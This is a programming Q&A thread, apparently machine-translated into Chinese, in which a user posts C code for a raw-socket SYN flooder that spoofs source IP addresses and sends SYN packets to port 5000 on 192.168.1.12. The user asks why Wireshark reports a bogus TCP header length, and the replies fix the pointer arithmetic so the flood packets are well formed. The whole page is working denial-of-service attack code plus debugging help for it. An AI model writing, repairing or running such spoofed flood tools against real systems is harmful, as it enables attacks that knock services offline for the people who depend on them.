2011-10-03 34 views
0
#include<stdlib.h> 
#include<netinet/ip.h> 
#include<netinet/tcp.h> 
#include<sys/socket.h> 
#include<arpa/inet.h> 
#include<netinet/in.h> 
#include<stdio.h> 
#include<unistd.h> 
#include<string.h> 
#include<sys/types.h> 

#define P 5000  /* lets flood the port */ 

unsigned short  /* this function generates header checksums */ 
csum (unsigned short *buf, int nwords) 
{ 
    unsigned long sum; 
    for (sum = 0; nwords > 0; nwords--) 
    sum += *buf++; 
    sum = (sum >> 16) + (sum & 0xffff); 
    sum += (sum >> 16); 
    return ~sum; 
} 

int 
main (void) 
{ 
    char ipp[10] = "1.2.3.4"; 
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */ 
    char datagram[4096]; /* this buffer will contain ip header, tcp header, 
       and payload. we'll point an ip header structure 
       at its beginning, and a tcp header structure after 
       that to write the header values into it */ 
    struct ip *iph = (struct ip *) datagram; 
    struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); 
    struct sockaddr_in sin; 
       /* the sockaddr_in containing the dest. address is used 
       in sendto() to determine the datagrams path */ 

    sin.sin_family = AF_INET; 
    sin.sin_port = htons (P);/* you byte-order >1byte header values to network 
        byte order (not needed on big endian machines) */ 
    sin.sin_addr.s_addr = inet_addr ("192.168.1.12"); 

    memset (datagram, 0, 4096); /* zero out the buffer */ 

/* we'll now fill in the ip/tcp header values, see above for explanations */ 
    iph->ip_hl = 5; 
    iph->ip_v = 4; 
    iph->ip_tos = 0; 
    iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */ 
    iph->ip_id = htonl (54321); /* the value doesn't matter here */ 
    iph->ip_off = 0; 
    iph->ip_ttl = 255; 
    iph->ip_p = 6; 
    iph->ip_sum = 0;  /* set it to 0 before computing the actual checksum later */ 
    iph->ip_src.s_addr = inet_addr (ipp);/* SYN's can be blindly spoofed */ 
    iph->ip_dst.s_addr = sin.sin_addr.s_addr; 


    tcph->source = htons (1234); /* arbitrary port */ 
    tcph->dest = htons (P); 
    tcph->seq = random();/* in a SYN packet, the sequence is a random */ 
    tcph->ack_seq = 0;/* number, and the ack sequence is 0 in the 1st packet */ 

    tcph->doff = 0;  /* first and only tcp segment */ 

      tcph->syn = 1; 
    tcph->window = htonl (65535); /* maximum allowed window size */ 
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack 
      should fill in the correct checksum during transmission */ 
    tcph->urg_ptr = 0; 

    iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); 

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure 
     that the kernel knows the header is included in the data, and doesn't 
    insert its own header into the packet before our data */ 

    {    /* lets do it the ugly way.. */ 
    int one = 1; 
    const int *val = &one; 
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) 
     printf ("Warning: Cannot set HDRINCL!\n"); 
    } 
int i1=49; 
char i2 = 49; 
int cc = 0; 
int r1; 
    while (cc<99) 
    { 

     ipp[6] = i1; 
    ipp[7] = i2; 
    if(i1 == 57) 
    { 
     break; 
    } 
    if(i2 == 57) 
    { i2 = 48; 
     i1++; 
     } 


i2++; 
cc++; 
     iph->ip_src.s_addr = inet_addr (ipp); 
     if (sendto (s,  /* our socket */ 
      datagram, /* the buffer containing headers and data */ 
      iph->ip_len, /* total length of our datagram */ 
       0,  /* routing flags, normally always 0 */ 
      (struct sockaddr *) &sin, /* socket addr, just like in */ 
      sizeof (sin)) < 0)  /* a normal send() */ 
    printf ("error\n"); 
     else 
    printf ("sent \n"); 
    } 

    return 0; 
} 

代码创建一个原始套接字与适当的IP地址和源插件是192.168.1.12 ...端口5000 ...问题是,当我尝试捕获使用wireshark发送的数据包,它说类似虚假tcp headee长度...应该是至少20 ...我如何纠正这个错误... PS你可以参考link的代码解释,如果你发现代码冗长......原始套接字在C - 伪造头长度

回答

2

进一步阅读后:改变这一行

struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); 

这个

struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); 

在第一种情况下TCPH会指针远远超出iph。

char *datagram也应该是unsigned char *

+0

它似乎没有做更好的...现在它甚至不被认为是一个syn信息,它是早期的...它是一个程序,用syn信息洪泛端口... – Pawan

+0

什么是wireshark显示现在?你可以检查数据包,它应该显示结构。 –

+0

最后,如果你设置了ip-options,你必须在tcp-header之前留下空格。 –